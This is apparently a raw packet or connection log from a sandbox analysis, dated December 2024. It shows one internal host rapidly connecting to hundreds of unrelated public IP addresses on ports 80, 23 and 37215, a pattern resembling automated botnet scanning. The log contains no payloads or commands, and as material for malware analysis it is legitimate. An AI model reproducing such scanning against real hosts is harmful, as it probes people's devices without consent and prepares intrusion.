Dec 3, 2024 22:11:48.969146967 CET	6883	80	192.168.2.23	142.250.103.46
Dec 3, 2024 22:11:48.969146967 CET	6883	80	192.168.2.23	208.124.13.28
Dec 3, 2024 22:11:48.969147921 CET	6883	80	192.168.2.23	129.12.93.137
Dec 3, 2024 22:11:48.969156981 CET	6883	80	192.168.2.23	41.146.218.206
Dec 3, 2024 22:11:48.969161034 CET	6883	80	192.168.2.23	67.60.32.65
Dec 3, 2024 22:11:48.969161034 CET	6883	80	192.168.2.23	144.84.237.132
Dec 3, 2024 22:11:48.969167948 CET	6883	80	192.168.2.23	174.173.49.95
Dec 3, 2024 22:11:48.969171047 CET	6883	80	192.168.2.23	25.112.147.188
Dec 3, 2024 22:11:48.969175100 CET	6883	80	192.168.2.23	202.104.216.215
Dec 3, 2024 22:11:48.969183922 CET	6883	80	192.168.2.23	48.129.185.183
Dec 3, 2024 22:11:48.969336987 CET	53186	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:48.969348907 CET	53186	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:48.969849110 CET	53426	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:48.970185995 CET	36434	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:48.970185995 CET	36434	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:48.970577955 CET	36674	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:48.970957994 CET	43644	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:48.970969915 CET	43644	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:48.971334934 CET	43884	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:48.974658966 CET	37215	5603	197.25.239.17	192.168.2.23
Dec 3, 2024 22:11:48.974725008 CET	5603	37215	192.168.2.23	197.25.239.17
Dec 3, 2024 22:11:48.975178957 CET	54714	80	192.168.2.23	32.151.48.79
Dec 3, 2024 22:11:48.975184917 CET	54664	80	192.168.2.23	129.36.36.24
Dec 3, 2024 22:11:48.975184917 CET	47592	80	192.168.2.23	31.70.185.152
Dec 3, 2024 22:11:48.975191116 CET	40576	80	192.168.2.23	5.195.112.164
Dec 3, 2024 22:11:48.975194931 CET	53736	80	192.168.2.23	73.20.144.23
Dec 3, 2024 22:11:48.975199938 CET	57740	80	192.168.2.23	83.6.82.189
Dec 3, 2024 22:11:48.975199938 CET	54640	80	192.168.2.23	209.178.23.34
Dec 3, 2024 22:11:48.975207090 CET	43614	80	192.168.2.23	190.227.24.252
Dec 3, 2024 22:11:48.975208044 CET	41184	80	192.168.2.23	23.234.220.140
Dec 3, 2024 22:11:48.975215912 CET	34282	80	192.168.2.23	204.38.114.132
Dec 3, 2024 22:11:48.975215912 CET	35132	80	192.168.2.23	189.220.255.17
Dec 3, 2024 22:11:48.975219011 CET	38404	80	192.168.2.23	57.107.165.134
Dec 3, 2024 22:11:48.975219965 CET	36366	80	192.168.2.23	106.54.60.250
Dec 3, 2024 22:11:48.975229025 CET	50532	80	192.168.2.23	34.251.48.225
Dec 3, 2024 22:11:48.975234032 CET	54094	80	192.168.2.23	132.124.5.253
Dec 3, 2024 22:11:48.975245953 CET	45816	80	192.168.2.23	183.87.43.199
Dec 3, 2024 22:11:48.975245953 CET	57464	80	192.168.2.23	194.143.97.226
Dec 3, 2024 22:11:48.975250006 CET	33614	80	192.168.2.23	49.173.189.48
Dec 3, 2024 22:11:48.975250006 CET	49704	80	192.168.2.23	103.232.61.157
Dec 3, 2024 22:11:48.975258112 CET	32778	80	192.168.2.23	72.255.255.255
Dec 3, 2024 22:11:48.975260019 CET	58562	80	192.168.2.23	120.140.146.49
Dec 3, 2024 22:11:48.975260019 CET	53660	80	192.168.2.23	2.226.226.122
Dec 3, 2024 22:11:48.975264072 CET	33354	80	192.168.2.23	208.25.237.68
Dec 3, 2024 22:11:48.975264072 CET	33948	80	192.168.2.23	143.54.16.200
Dec 3, 2024 22:11:48.975264072 CET	53024	80	192.168.2.23	60.40.205.215
Dec 3, 2024 22:11:48.975274086 CET	40850	80	192.168.2.23	85.2.63.96
Dec 3, 2024 22:11:48.975310087 CET	46934	80	192.168.2.23	170.246.55.23
Dec 3, 2024 22:11:48.975311041 CET	46048	80	192.168.2.23	13.240.147.70
Dec 3, 2024 22:11:48.999380112 CET	80	53302	138.253.99.143	192.168.2.23
Dec 3, 2024 22:11:48.999439001 CET	80	34944	2.92.50.4	192.168.2.23
Dec 3, 2024 22:11:48.999464035 CET	53302	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:48.999470949 CET	23	33784	109.9.199.91	192.168.2.23
Dec 3, 2024 22:11:48.999486923 CET	34944	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:48.999533892 CET	33784	23	192.168.2.23	109.9.199.91
Dec 3, 2024 22:11:48.999536991 CET	53302	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:48.999536991 CET	53302	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:48.999850988 CET	53500	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:49.000272036 CET	34944	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:49.000272036 CET	34944	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:49.000565052 CET	35130	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:49.007191896 CET	34044	80	192.168.2.23	151.105.44.11
Dec 3, 2024 22:11:49.007191896 CET	46704	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.007201910 CET	41688	80	192.168.2.23	160.242.161.245
Dec 3, 2024 22:11:49.007206917 CET	59712	80	192.168.2.23	131.105.138.237
Dec 3, 2024 22:11:49.007206917 CET	50252	80	192.168.2.23	132.134.38.55
Dec 3, 2024 22:11:49.007225990 CET	39700	80	192.168.2.23	161.253.241.77
Dec 3, 2024 22:11:49.007225990 CET	42422	80	192.168.2.23	58.199.152.19
Dec 3, 2024 22:11:49.007226944 CET	34202	80	192.168.2.23	4.46.179.190
Dec 3, 2024 22:11:49.007226944 CET	43728	80	192.168.2.23	76.240.19.1
Dec 3, 2024 22:11:49.007226944 CET	45850	80	192.168.2.23	152.206.88.154
Dec 3, 2024 22:11:49.007226944 CET	33600	80	192.168.2.23	172.137.80.235
Dec 3, 2024 22:11:49.007226944 CET	40448	80	192.168.2.23	180.21.142.219
Dec 3, 2024 22:11:49.007230043 CET	51554	80	192.168.2.23	130.5.154.77
Dec 3, 2024 22:11:49.007230043 CET	52458	80	192.168.2.23	133.80.28.127
Dec 3, 2024 22:11:49.007231951 CET	54336	80	192.168.2.23	147.105.180.203
Dec 3, 2024 22:11:49.007236004 CET	50246	80	192.168.2.23	173.130.202.99
Dec 3, 2024 22:11:49.007239103 CET	39882	80	192.168.2.23	204.157.103.245
Dec 3, 2024 22:11:49.007241964 CET	36382	80	192.168.2.23	68.125.157.216
Dec 3, 2024 22:11:49.007241964 CET	49464	80	192.168.2.23	57.157.203.189
Dec 3, 2024 22:11:49.007241964 CET	37358	80	192.168.2.23	79.124.238.227
Dec 3, 2024 22:11:49.007241964 CET	53624	80	192.168.2.23	130.183.171.183
Dec 3, 2024 22:11:49.007241964 CET	38610	80	192.168.2.23	193.171.83.132
Dec 3, 2024 22:11:49.007242918 CET	49012	80	192.168.2.23	167.92.170.106
Dec 3, 2024 22:11:49.007242918 CET	56272	80	192.168.2.23	193.186.188.38
Dec 3, 2024 22:11:49.007242918 CET	58260	80	192.168.2.23	184.8.149.108
Dec 3, 2024 22:11:49.007252932 CET	56088	80	192.168.2.23	167.108.29.76
Dec 3, 2024 22:11:49.031440973 CET	80	38304	39.59.187.16	192.168.2.23
Dec 3, 2024 22:11:49.031601906 CET	38304	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:49.031616926 CET	80	49726	154.225.38.211	192.168.2.23
Dec 3, 2024 22:11:49.031625986 CET	38304	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:49.031626940 CET	38304	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:49.031663895 CET	49726	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:49.031930923 CET	38486	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:49.032296896 CET	49726	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:49.032296896 CET	49726	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:49.032571077 CET	49908	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:49.039182901 CET	47442	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:49.039182901 CET	56488	80	192.168.2.23	77.64.164.173
Dec 3, 2024 22:11:49.039191961 CET	43606	80	192.168.2.23	140.106.83.149
Dec 3, 2024 22:11:49.039191961 CET	50002	80	192.168.2.23	115.148.141.242
Dec 3, 2024 22:11:49.039194107 CET	39016	80	192.168.2.23	51.134.184.47
Dec 3, 2024 22:11:49.044071913 CET	23	54836	179.60.197.18	192.168.2.23
Dec 3, 2024 22:11:49.044135094 CET	54836	23	192.168.2.23	179.60.197.18
Dec 3, 2024 22:11:49.088259935 CET	80	6883	58.54.216.137	192.168.2.23
Dec 3, 2024 22:11:49.088404894 CET	6883	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.094917059 CET	80	6883	150.209.61.21	192.168.2.23
Dec 3, 2024 22:11:49.094954014 CET	80	6883	85.100.167.15	192.168.2.23
Dec 3, 2024 22:11:49.094988108 CET	80	6883	204.184.249.105	192.168.2.23
Dec 3, 2024 22:11:49.095002890 CET	6883	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.095022917 CET	6883	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.095057011 CET	80	6883	191.220.213.75	192.168.2.23
Dec 3, 2024 22:11:49.095086098 CET	80	6883	8.159.135.62	192.168.2.23
Dec 3, 2024 22:11:49.095098972 CET	6883	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.095119953 CET	80	53186	166.46.184.48	192.168.2.23
Dec 3, 2024 22:11:49.095124006 CET	6883	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.095127106 CET	6883	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.095150948 CET	80	36434	112.17.46.206	192.168.2.23
Dec 3, 2024 22:11:49.095179081 CET	80	43644	60.191.15.52	192.168.2.23
Dec 3, 2024 22:11:49.119249105 CET	80	43884	60.191.15.52	192.168.2.23
Dec 3, 2024 22:11:49.119376898 CET	43884	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:49.119434118 CET	43884	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:49.119810104 CET	52702	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.120368004 CET	53606	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.121023893 CET	52218	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.121602058 CET	41196	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.122169018 CET	48880	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.122754097 CET	47048	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.135175943 CET	51324	23	192.168.2.23	62.12.197.216
Dec 3, 2024 22:11:49.135175943 CET	36178	23	192.168.2.23	38.55.136.156
Dec 3, 2024 22:11:49.135175943 CET	51686	23	192.168.2.23	93.90.69.215
Dec 3, 2024 22:11:49.135188103 CET	43388	23	192.168.2.23	139.236.56.183
Dec 3, 2024 22:11:49.135195971 CET	40952	23	192.168.2.23	179.236.23.166
Dec 3, 2024 22:11:49.135195971 CET	38770	23	192.168.2.23	217.113.253.22
Dec 3, 2024 22:11:49.135252953 CET	42870	23	192.168.2.23	34.170.136.168
Dec 3, 2024 22:11:49.135710001 CET	80	36434	112.17.46.206	192.168.2.23
Dec 3, 2024 22:11:49.135720968 CET	80	53186	166.46.184.48	192.168.2.23
Dec 3, 2024 22:11:49.151670933 CET	80	53302	138.253.99.143	192.168.2.23
Dec 3, 2024 22:11:49.151712894 CET	80	53500	138.253.99.143	192.168.2.23
Dec 3, 2024 22:11:49.151722908 CET	80	34944	2.92.50.4	192.168.2.23
Dec 3, 2024 22:11:49.151741982 CET	80	35130	2.92.50.4	192.168.2.23
Dec 3, 2024 22:11:49.151752949 CET	80	46704	49.62.38.109	192.168.2.23
Dec 3, 2024 22:11:49.151921988 CET	35130	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:49.151921988 CET	35130	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:49.151930094 CET	46704	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.151930094 CET	46704	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.151930094 CET	46704	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.151933908 CET	53500	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:49.151933908 CET	53500	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:49.152225971 CET	46770	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.159682035 CET	80	43644	60.191.15.52	192.168.2.23
Dec 3, 2024 22:11:49.164283991 CET	80	38304	39.59.187.16	192.168.2.23
Dec 3, 2024 22:11:49.164307117 CET	80	38486	39.59.187.16	192.168.2.23
Dec 3, 2024 22:11:49.164321899 CET	80	49726	154.225.38.211	192.168.2.23
Dec 3, 2024 22:11:49.164335966 CET	80	49908	154.225.38.211	192.168.2.23
Dec 3, 2024 22:11:49.164352894 CET	80	47442	60.49.222.42	192.168.2.23
Dec 3, 2024 22:11:49.164366961 CET	23	54836	179.60.197.18	192.168.2.23
Dec 3, 2024 22:11:49.164659977 CET	38486	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:49.164669991 CET	49908	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:49.164684057 CET	38486	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:49.164686918 CET	47442	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:49.164736032 CET	47442	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:49.164737940 CET	49908	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:49.167155981 CET	52790	23	192.168.2.23	190.169.254.53
Dec 3, 2024 22:11:49.167165041 CET	38868	23	192.168.2.23	42.108.53.185
Dec 3, 2024 22:11:49.167165995 CET	57664	23	192.168.2.23	60.248.67.83
Dec 3, 2024 22:11:49.167171001 CET	57120	23	192.168.2.23	62.69.135.50
Dec 3, 2024 22:11:49.167171955 CET	39554	23	192.168.2.23	212.131.212.111
Dec 3, 2024 22:11:49.167181969 CET	48062	23	192.168.2.23	42.178.186.204
Dec 3, 2024 22:11:49.167186022 CET	42410	23	192.168.2.23	114.178.236.229
Dec 3, 2024 22:11:49.167186022 CET	37966	23	192.168.2.23	47.41.99.50
Dec 3, 2024 22:11:49.167192936 CET	41628	23	192.168.2.23	210.34.115.148
Dec 3, 2024 22:11:49.167200089 CET	42116	23	192.168.2.23	137.195.220.87
Dec 3, 2024 22:11:49.167202950 CET	51390	23	192.168.2.23	200.237.237.183
Dec 3, 2024 22:11:49.167206049 CET	38084	23	192.168.2.23	96.193.246.13
Dec 3, 2024 22:11:49.167206049 CET	39492	23	192.168.2.23	171.38.110.172
Dec 3, 2024 22:11:49.167221069 CET	54278	23	192.168.2.23	12.9.177.38
Dec 3, 2024 22:11:49.167221069 CET	33294	23	192.168.2.23	129.160.129.125
Dec 3, 2024 22:11:49.167224884 CET	60654	23	192.168.2.23	49.192.185.157
Dec 3, 2024 22:11:49.167227030 CET	46204	23	192.168.2.23	208.61.158.80
Dec 3, 2024 22:11:49.167239904 CET	52818	23	192.168.2.23	70.200.80.236
Dec 3, 2024 22:11:49.167244911 CET	59344	23	192.168.2.23	111.166.47.153
Dec 3, 2024 22:11:49.167259932 CET	40976	23	192.168.2.23	221.108.134.90
Dec 3, 2024 22:11:49.167263985 CET	49394	23	192.168.2.23	201.13.85.137
Dec 3, 2024 22:11:49.167265892 CET	46192	23	192.168.2.23	139.218.60.54
Dec 3, 2024 22:11:49.167267084 CET	54366	23	192.168.2.23	67.146.208.28
Dec 3, 2024 22:11:49.167267084 CET	52410	23	192.168.2.23	118.103.16.15
Dec 3, 2024 22:11:49.167268038 CET	36274	23	192.168.2.23	181.62.227.85
Dec 3, 2024 22:11:49.167268038 CET	42578	23	192.168.2.23	114.124.214.130
Dec 3, 2024 22:11:49.167283058 CET	35418	23	192.168.2.23	155.147.71.110
Dec 3, 2024 22:11:49.167293072 CET	39934	23	192.168.2.23	5.22.121.219
Dec 3, 2024 22:11:49.167293072 CET	53492	23	192.168.2.23	132.234.201.98
Dec 3, 2024 22:11:49.167299986 CET	43198	23	192.168.2.23	68.89.131.21
Dec 3, 2024 22:11:49.167303085 CET	52802	23	192.168.2.23	67.152.204.236
Dec 3, 2024 22:11:49.191663027 CET	80	53302	138.253.99.143	192.168.2.23
Dec 3, 2024 22:11:49.195633888 CET	80	34944	2.92.50.4	192.168.2.23
Dec 3, 2024 22:11:49.207679033 CET	80	49726	154.225.38.211	192.168.2.23
Dec 3, 2024 22:11:49.207705975 CET	80	38304	39.59.187.16	192.168.2.23
Dec 3, 2024 22:11:49.239876986 CET	80	43884	60.191.15.52	192.168.2.23
Dec 3, 2024 22:11:49.239958048 CET	80	52702	58.54.216.137	192.168.2.23
Dec 3, 2024 22:11:49.240111113 CET	52702	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.240128040 CET	43884	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:49.240206957 CET	52702	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.240221977 CET	52702	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.240670919 CET	52716	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.240717888 CET	80	53606	150.209.61.21	192.168.2.23
Dec 3, 2024 22:11:49.240772009 CET	53606	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.241091967 CET	53606	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.241105080 CET	53606	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.241367102 CET	53620	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.241563082 CET	80	52218	85.100.167.15	192.168.2.23
Dec 3, 2024 22:11:49.241607904 CET	52218	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.241750956 CET	52218	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.241750956 CET	52218	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.242063046 CET	52232	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.242275000 CET	80	41196	204.184.249.105	192.168.2.23
Dec 3, 2024 22:11:49.242383003 CET	41196	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.242383003 CET	41196	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.242383003 CET	41196	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.242630005 CET	41210	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.242820978 CET	80	48880	191.220.213.75	192.168.2.23
Dec 3, 2024 22:11:49.242876053 CET	48880	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.243022919 CET	48880	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.243022919 CET	48880	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.243304014 CET	80	47048	8.159.135.62	192.168.2.23
Dec 3, 2024 22:11:49.243310928 CET	48894	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.243345022 CET	47048	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.243704081 CET	47048	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.243704081 CET	47048	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.243944883 CET	47062	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.255336046 CET	23	51324	62.12.197.216	192.168.2.23
Dec 3, 2024 22:11:49.255363941 CET	23	36178	38.55.136.156	192.168.2.23
Dec 3, 2024 22:11:49.255379915 CET	23	43388	139.236.56.183	192.168.2.23
Dec 3, 2024 22:11:49.255409002 CET	51324	23	192.168.2.23	62.12.197.216
Dec 3, 2024 22:11:49.255409002 CET	36178	23	192.168.2.23	38.55.136.156
Dec 3, 2024 22:11:49.255412102 CET	23	51686	93.90.69.215	192.168.2.23
Dec 3, 2024 22:11:49.255429029 CET	43388	23	192.168.2.23	139.236.56.183
Dec 3, 2024 22:11:49.255455971 CET	51686	23	192.168.2.23	93.90.69.215
Dec 3, 2024 22:11:49.273740053 CET	80	46704	49.62.38.109	192.168.2.23
Dec 3, 2024 22:11:49.273854971 CET	80	46770	49.62.38.109	192.168.2.23
Dec 3, 2024 22:11:49.273914099 CET	46770	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.273950100 CET	46770	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.274252892 CET	80	35130	2.92.50.4	192.168.2.23
Dec 3, 2024 22:11:49.274307966 CET	35130	80	192.168.2.23	2.92.50.4
Dec 3, 2024 22:11:49.274853945 CET	80	53500	138.253.99.143	192.168.2.23
Dec 3, 2024 22:11:49.274909019 CET	53500	80	192.168.2.23	138.253.99.143
Dec 3, 2024 22:11:49.285260916 CET	80	38486	39.59.187.16	192.168.2.23
Dec 3, 2024 22:11:49.285324097 CET	38486	80	192.168.2.23	39.59.187.16
Dec 3, 2024 22:11:49.285546064 CET	80	49908	154.225.38.211	192.168.2.23
Dec 3, 2024 22:11:49.285592079 CET	49908	80	192.168.2.23	154.225.38.211
Dec 3, 2024 22:11:49.285670042 CET	80	47442	60.49.222.42	192.168.2.23
Dec 3, 2024 22:11:49.285717010 CET	47442	80	192.168.2.23	60.49.222.42
Dec 3, 2024 22:11:49.287116051 CET	23	52790	190.169.254.53	192.168.2.23
Dec 3, 2024 22:11:49.287192106 CET	52790	23	192.168.2.23	190.169.254.53
Dec 3, 2024 22:11:49.287247896 CET	23	38868	42.108.53.185	192.168.2.23
Dec 3, 2024 22:11:49.287322998 CET	38868	23	192.168.2.23	42.108.53.185
Dec 3, 2024 22:11:49.315896034 CET	80	46704	49.62.38.109	192.168.2.23
Dec 3, 2024 22:11:49.360264063 CET	80	52702	58.54.216.137	192.168.2.23
Dec 3, 2024 22:11:49.361160040 CET	80	52716	58.54.216.137	192.168.2.23
Dec 3, 2024 22:11:49.361227989 CET	80	53606	150.209.61.21	192.168.2.23
Dec 3, 2024 22:11:49.361243963 CET	80	53620	150.209.61.21	192.168.2.23
Dec 3, 2024 22:11:49.361269951 CET	52716	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.361290932 CET	53620	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.361357927 CET	52716	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.361378908 CET	53620	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.361596107 CET	80	52218	85.100.167.15	192.168.2.23
Dec 3, 2024 22:11:49.361963034 CET	80	52232	85.100.167.15	192.168.2.23
Dec 3, 2024 22:11:49.362035990 CET	52232	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.362035990 CET	52232	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.362410069 CET	80	41196	204.184.249.105	192.168.2.23
Dec 3, 2024 22:11:49.362541914 CET	80	41210	204.184.249.105	192.168.2.23
Dec 3, 2024 22:11:49.362611055 CET	41210	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.362611055 CET	41210	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.362880945 CET	80	48880	191.220.213.75	192.168.2.23
Dec 3, 2024 22:11:49.363305092 CET	80	48894	191.220.213.75	192.168.2.23
Dec 3, 2024 22:11:49.363351107 CET	48894	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.363373041 CET	48894	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.363576889 CET	80	47048	8.159.135.62	192.168.2.23
Dec 3, 2024 22:11:49.363784075 CET	80	47062	8.159.135.62	192.168.2.23
Dec 3, 2024 22:11:49.363842010 CET	47062	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.363859892 CET	47062	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.394644976 CET	80	46770	49.62.38.109	192.168.2.23
Dec 3, 2024 22:11:49.394731998 CET	46770	80	192.168.2.23	49.62.38.109
Dec 3, 2024 22:11:49.403665066 CET	80	48880	191.220.213.75	192.168.2.23
Dec 3, 2024 22:11:49.403692007 CET	80	41196	204.184.249.105	192.168.2.23
Dec 3, 2024 22:11:49.403704882 CET	80	52218	85.100.167.15	192.168.2.23
Dec 3, 2024 22:11:49.403803110 CET	80	53606	150.209.61.21	192.168.2.23
Dec 3, 2024 22:11:49.403815985 CET	80	52702	58.54.216.137	192.168.2.23
Dec 3, 2024 22:11:49.407587051 CET	80	47048	8.159.135.62	192.168.2.23
Dec 3, 2024 22:11:49.481858969 CET	80	52716	58.54.216.137	192.168.2.23
Dec 3, 2024 22:11:49.481970072 CET	52716	80	192.168.2.23	58.54.216.137
Dec 3, 2024 22:11:49.482319117 CET	80	53620	150.209.61.21	192.168.2.23
Dec 3, 2024 22:11:49.482407093 CET	53620	80	192.168.2.23	150.209.61.21
Dec 3, 2024 22:11:49.482534885 CET	80	52232	85.100.167.15	192.168.2.23
Dec 3, 2024 22:11:49.482614994 CET	52232	80	192.168.2.23	85.100.167.15
Dec 3, 2024 22:11:49.482986927 CET	80	41210	204.184.249.105	192.168.2.23
Dec 3, 2024 22:11:49.483057976 CET	41210	80	192.168.2.23	204.184.249.105
Dec 3, 2024 22:11:49.483783007 CET	80	48894	191.220.213.75	192.168.2.23
Dec 3, 2024 22:11:49.483848095 CET	48894	80	192.168.2.23	191.220.213.75
Dec 3, 2024 22:11:49.484292030 CET	80	47062	8.159.135.62	192.168.2.23
Dec 3, 2024 22:11:49.484334946 CET	47062	80	192.168.2.23	8.159.135.62
Dec 3, 2024 22:11:49.857611895 CET	5603	37215	192.168.2.23	156.66.88.100
Dec 3, 2024 22:11:49.857637882 CET	5603	37215	192.168.2.23	156.143.18.45
Dec 3, 2024 22:11:49.857640982 CET	5603	37215	192.168.2.23	197.3.39.188
Dec 3, 2024 22:11:49.857640982 CET	5603	37215	192.168.2.23	156.107.59.192
Dec 3, 2024 22:11:49.857645988 CET	5603	37215	192.168.2.23	156.124.60.241
Dec 3, 2024 22:11:49.857645035 CET	5603	37215	192.168.2.23	156.214.207.66
Dec 3, 2024 22:11:49.857645988 CET	5603	37215	192.168.2.23	41.152.245.211
Dec 3, 2024 22:11:49.857654095 CET	5603	37215	192.168.2.23	156.86.224.106
Dec 3, 2024 22:11:49.857662916 CET	5603	37215	192.168.2.23	197.194.225.14
Dec 3, 2024 22:11:49.857662916 CET	5603	37215	192.168.2.23	41.80.180.178
Dec 3, 2024 22:11:49.857670069 CET	5603	37215	192.168.2.23	197.102.76.136
Dec 3, 2024 22:11:49.857675076 CET	5603	37215	192.168.2.23	156.37.11.97
Dec 3, 2024 22:11:49.857675076 CET	5603	37215	192.168.2.23	197.115.231.209
Dec 3, 2024 22:11:49.857675076 CET	5603	37215	192.168.2.23	156.162.252.29
Dec 3, 2024 22:11:49.857675076 CET	5603	37215	192.168.2.23	41.4.101.209
Dec 3, 2024 22:11:49.857675076 CET	5603	37215	192.168.2.23	156.114.213.59
Dec 3, 2024 22:11:49.857675076 CET	5603	37215	192.168.2.23	156.64.61.35
Dec 3, 2024 22:11:49.857678890 CET	5603	37215	192.168.2.23	197.120.15.57
Dec 3, 2024 22:11:49.857678890 CET	5603	37215	192.168.2.23	156.100.189.237
Dec 3, 2024 22:11:49.857681036 CET	5603	37215	192.168.2.23	197.138.48.81
Dec 3, 2024 22:11:49.857681036 CET	5603	37215	192.168.2.23	197.55.121.154
Dec 3, 2024 22:11:49.857692957 CET	5603	37215	192.168.2.23	197.100.146.120
Dec 3, 2024 22:11:49.857697964 CET	5603	37215	192.168.2.23	197.149.109.250
Dec 3, 2024 22:11:49.857714891 CET	5603	37215	192.168.2.23	197.132.47.59
Dec 3, 2024 22:11:49.857714891 CET	5603	37215	192.168.2.23	156.188.165.91
Dec 3, 2024 22:11:49.857714891 CET	5603	37215	192.168.2.23	41.97.159.163
Dec 3, 2024 22:11:49.857714891 CET	5603	37215	192.168.2.23	156.183.41.159
Dec 3, 2024 22:11:49.857719898 CET	5603	37215	192.168.2.23	41.108.205.190
Dec 3, 2024 22:11:49.857719898 CET	5603	37215	192.168.2.23	197.194.144.225
Dec 3, 2024 22:11:49.857731104 CET	5603	37215	192.168.2.23	156.109.62.186
Dec 3, 2024 22:11:49.857760906 CET	5603	37215	192.168.2.23	156.47.36.125
Dec 3, 2024 22:11:49.857760906 CET	5603	37215	192.168.2.23	197.223.193.153
Dec 3, 2024 22:11:49.857760906 CET	5603	37215	192.168.2.23	156.210.68.86
Dec 3, 2024 22:11:49.857775927 CET	5603	37215	192.168.2.23	41.184.3.254
Dec 3, 2024 22:11:49.857783079 CET	5603	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:49.857784033 CET	5603	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:49.857784033 CET	5603	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:49.857786894 CET	5603	37215	192.168.2.23	156.35.235.116
